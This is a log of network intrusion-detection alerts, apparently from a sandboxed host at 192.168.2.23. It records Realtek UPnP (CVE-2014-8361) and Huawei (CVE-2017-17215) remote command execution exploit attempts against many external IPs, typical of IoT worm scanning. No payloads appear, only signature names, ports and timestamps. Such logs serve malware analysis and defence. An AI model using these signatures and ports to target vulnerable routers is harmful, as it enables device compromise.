Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 165.210.119.115

Timestamp:	07/20/24-23:01:41.156801
SID:	2025132
Source Port:	33870
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.16.79.3

Timestamp:	07/20/24-23:01:25.848287
SID:	2027339
Source Port:	42276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.223.190.191

Timestamp:	07/20/24-23:01:58.995803
SID:	2027339
Source Port:	34792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.28.215.223

Timestamp:	07/20/24-23:01:54.545885
SID:	2025132
Source Port:	59122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.97.192.157

Timestamp:	07/20/24-23:01:31.981855
SID:	2835222
Source Port:	50494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 17.24.227.79

Timestamp:	07/20/24-23:01:57.169212
SID:	2831300
Source Port:	56148
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.240.0.142

Timestamp:	07/20/24-23:01:21.931985
SID:	2835222
Source Port:	51232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.223.163.108

Timestamp:	07/20/24-23:01:43.906354
SID:	2027339
Source Port:	43652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.145.37.57

Timestamp:	07/20/24-23:01:47.700893
SID:	2027339
Source Port:	55240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.5.66.172

Timestamp:	07/20/24-23:01:34.048618
SID:	2829579
Source Port:	43842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.242.12.13

Timestamp:	07/20/24-23:02:07.984371
SID:	2027339
Source Port:	42256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 136.52.234.90

Timestamp:	07/20/24-23:01:11.642449
SID:	2829579
Source Port:	54306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 189.75.86.189

Timestamp:	07/20/24-23:01:08.554229
SID:	2831300
Source Port:	45798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.40.245.195

Timestamp:	07/20/24-23:02:12.682460
SID:	2027339
Source Port:	58340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.226.72.201

Timestamp:	07/20/24-23:00:57.221482
SID:	2829579
Source Port:	40150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.84.70.245

Timestamp:	07/20/24-23:01:02.066908
SID:	2829579
Source Port:	55990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.52.100.172

Timestamp:	07/20/24-23:01:40.334452
SID:	2835222
Source Port:	41888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.196.45.114

Timestamp:	07/20/24-23:01:42.672378
SID:	2831300
Source Port:	44018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.184.238.202

Timestamp:	07/20/24-23:02:03.882859
SID:	2025132
Source Port:	59642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 167.134.108.32

Timestamp:	07/20/24-23:01:08.684499
SID:	2831300
Source Port:	44404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 4.131.130.12

Timestamp:	07/20/24-23:01:02.076704
SID:	2025132
Source Port:	44404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 140.117.188.131

Timestamp:	07/20/24-23:01:42.196522
SID:	2831300
Source Port:	53258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 14.190.237.146

Timestamp:	07/20/24-23:01:49.877061
SID:	2025132
Source Port:	42084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 178.199.253.233

Timestamp:	07/20/24-23:01:55.262010
SID:	2025132
Source Port:	40798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 53.205.5.201

Timestamp:	07/20/24-23:02:01.391563
SID:	2025132
Source Port:	52480
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.187.164.155

Timestamp:	07/20/24-23:01:31.974514
SID:	2835222
Source Port:	39410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 205.251.62.147

Timestamp:	07/20/24-23:02:43.591633
SID:	2025132
Source Port:	33168
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.204.82.212

Timestamp:	07/20/24-23:01:41.236294
SID:	2025132
Source Port:	41822
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.139.90.241

Timestamp:	07/20/24-23:01:45.547484
SID:	2027339
Source Port:	53402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.115.147.179

Timestamp:	07/20/24-23:01:24.916250
SID:	2835222
Source Port:	54286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.49.28.217

Timestamp:	07/20/24-23:01:03.107449
SID:	2027339
Source Port:	55444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 145.102.1.140

Timestamp:	07/20/24-23:01:43.455918
SID:	2831300
Source Port:	47652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.51.233.233

Timestamp:	07/20/24-23:01:25.020591
SID:	2025132
Source Port:	58950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 193.229.91.171

Timestamp:	07/20/24-23:01:41.303669
SID:	2025132
Source Port:	52976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.4.127.82

Timestamp:	07/20/24-23:01:49.207937
SID:	2027339
Source Port:	40814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.17.32.247

Timestamp:	07/20/24-23:01:00.634497
SID:	2835222
Source Port:	55680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.168.92

Timestamp:	07/20/24-23:01:20.098209
SID:	2829579
Source Port:	36964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.18.10.40

Timestamp:	07/20/24-23:01:04.051104
SID:	2835222
Source Port:	58588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 163.95.87.60

Timestamp:	07/20/24-23:01:00.636533
SID:	2835222
Source Port:	58024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.33.43.162

Timestamp:	07/20/24-23:01:41.882275
SID:	2831300
Source Port:	46336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.59.131.231

Timestamp:	07/20/24-23:01:42.761962
SID:	2027339
Source Port:	48840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.115.71.173

Timestamp:	07/20/24-23:02:08.826483
SID:	2027339
Source Port:	38298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.171.123.209

Timestamp:	07/20/24-23:01:46.571223
SID:	2027339
Source Port:	34950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.39.36.55

Timestamp:	07/20/24-23:01:02.389453
SID:	2025132
Source Port:	40138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 13.165.214.181

Timestamp:	07/20/24-23:01:52.053251
SID:	2831300
Source Port:	37770
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.219.111.180

Timestamp:	07/20/24-23:01:56.536207
SID:	2027339
Source Port:	50732
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 106.220.99.163

Timestamp:	07/20/24-23:01:31.321189
SID:	2831300
Source Port:	55696
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 114.19.125.68

Timestamp:	07/20/24-23:01:48.021704
SID:	2831300
Source Port:	38126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.189.26.199

Timestamp:	07/20/24-23:01:51.275864
SID:	2831300
Source Port:	34734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.133.16.151

Timestamp:	07/20/24-23:01:42.430595
SID:	2027339
Source Port:	52592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.180.101.231

Timestamp:	07/20/24-23:01:52.742499
SID:	2027339
Source Port:	58056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.114.73.170

Timestamp:	07/20/24-23:01:44.611556
SID:	2027339
Source Port:	43152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 1.132.71.9

Timestamp:	07/20/24-23:01:42.142802
SID:	2025132
Source Port:	58582
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.169.227.46

Timestamp:	07/20/24-23:01:45.096837
SID:	2027339
Source Port:	49762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.242.31.133

Timestamp:	07/20/24-23:00:57.221248
SID:	2835222
Source Port:	44040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 165.63.9.134

Timestamp:	07/20/24-23:01:59.676169
SID:	2025132
Source Port:	49278
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.139.79.186

Timestamp:	07/20/24-23:01:34.044223
SID:	2835222
Source Port:	36714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.95.79.32

Timestamp:	07/20/24-23:01:08.563416
SID:	2027339
Source Port:	42218
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 166.125.46.208

Timestamp:	07/20/24-23:01:55.863393
SID:	2831300
Source Port:	52952
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.188.52.205

Timestamp:	07/20/24-23:01:34.048825
SID:	2829579
Source Port:	39294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 45.226.155.34

Timestamp:	07/20/24-23:01:44.024775
SID:	2025132
Source Port:	45402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 218.228.206.146

Timestamp:	07/20/24-23:01:08.646615
SID:	2831300
Source Port:	52406
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.242.179.170

Timestamp:	07/20/24-23:01:47.663629
SID:	2027339
Source Port:	34096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 9.97.212.169

Timestamp:	07/20/24-23:01:57.101402
SID:	2831300
Source Port:	49536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.66.91.121

Timestamp:	07/20/24-23:01:08.939279
SID:	2831300
Source Port:	33890
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.242.27.50

Timestamp:	07/20/24-23:01:20.098209
SID:	2835222
Source Port:	37260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.119.24.21

Timestamp:	07/20/24-23:01:43.197088
SID:	2027339
Source Port:	41930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.103.41.145

Timestamp:	07/20/24-23:02:15.172220
SID:	2027339
Source Port:	50336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.190.106.207

Timestamp:	07/20/24-23:01:51.113661
SID:	2027339
Source Port:	58152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.65.238.83

Timestamp:	07/20/24-23:01:06.989167
SID:	2829579
Source Port:	59048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.137.22.219

Timestamp:	07/20/24-23:01:51.183470
SID:	2027339
Source Port:	47738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.200.138.62

Timestamp:	07/20/24-23:01:26.004683
SID:	2027339
Source Port:	38520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 169.160.238.67

Timestamp:	07/20/24-23:01:42.462291
SID:	2831300
Source Port:	51560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.36.62.56

Timestamp:	07/20/24-23:01:47.403768
SID:	2027339
Source Port:	47372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.255.251.248

Timestamp:	07/20/24-23:01:50.920103
SID:	2025132
Source Port:	57122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.18.0.14

Timestamp:	07/20/24-23:01:56.832956
SID:	2027339
Source Port:	42474
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 85.101.71.143

Timestamp:	07/20/24-23:01:42.090121
SID:	2831300
Source Port:	43510
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.91.68.35

Timestamp:	07/20/24-23:01:42.985320
SID:	2025132
Source Port:	34902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.21.203.147

Timestamp:	07/20/24-23:01:07.054782
SID:	2829579
Source Port:	58546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 99.233.112.21

Timestamp:	07/20/24-23:01:42.769239
SID:	2831300
Source Port:	32774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.52.105.57

Timestamp:	07/20/24-23:01:44.756264
SID:	2027339
Source Port:	49132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 74.81.74.58

Timestamp:	07/20/24-23:01:45.622888
SID:	2025132
Source Port:	57520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.156.134.177

Timestamp:	07/20/24-23:02:14.728323
SID:	2027339
Source Port:	55190
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.203.14.217

Timestamp:	07/20/24-23:00:57.221048
SID:	2829579
Source Port:	36278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.206.45.101

Timestamp:	07/20/24-23:01:34.045749
SID:	2835222
Source Port:	48132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.231.145.68

Timestamp:	07/20/24-23:01:24.885849
SID:	2835222
Source Port:	37860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 144.39.142.95

Timestamp:	07/20/24-23:02:01.320867
SID:	2025132
Source Port:	60014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 143.107.137.70

Timestamp:	07/20/24-23:01:59.188717
SID:	2831300
Source Port:	50172
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.161.187.52

Timestamp:	07/20/24-23:01:11.639230
SID:	2835222
Source Port:	56502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.94.179.5

Timestamp:	07/20/24-23:01:02.515992
SID:	2025132
Source Port:	52026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.13.194.92

Timestamp:	07/20/24-23:01:59.643531
SID:	2025132
Source Port:	44200
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.238.238.121

Timestamp:	07/20/24-23:02:48.060990
SID:	2027339
Source Port:	33080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 124.109.117.107

Timestamp:	07/20/24-23:01:41.660997
SID:	2831300
Source Port:	39540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.12.76.39

Timestamp:	07/20/24-23:01:56.925238
SID:	2027339
Source Port:	53866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.226.51.190

Timestamp:	07/20/24-23:01:58.364551
SID:	2027339
Source Port:	48446
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 187.182.184.30

Timestamp:	07/20/24-23:01:04.098080
SID:	2835222
Source Port:	33920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.139.2.14

Timestamp:	07/20/24-23:00:59.161892
SID:	2829579
Source Port:	41506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.143.234.224

Timestamp:	07/20/24-23:01:00.641498
SID:	2835222
Source Port:	47806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.187.87.186

Timestamp:	07/20/24-23:01:07.054782
SID:	2829579
Source Port:	46730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

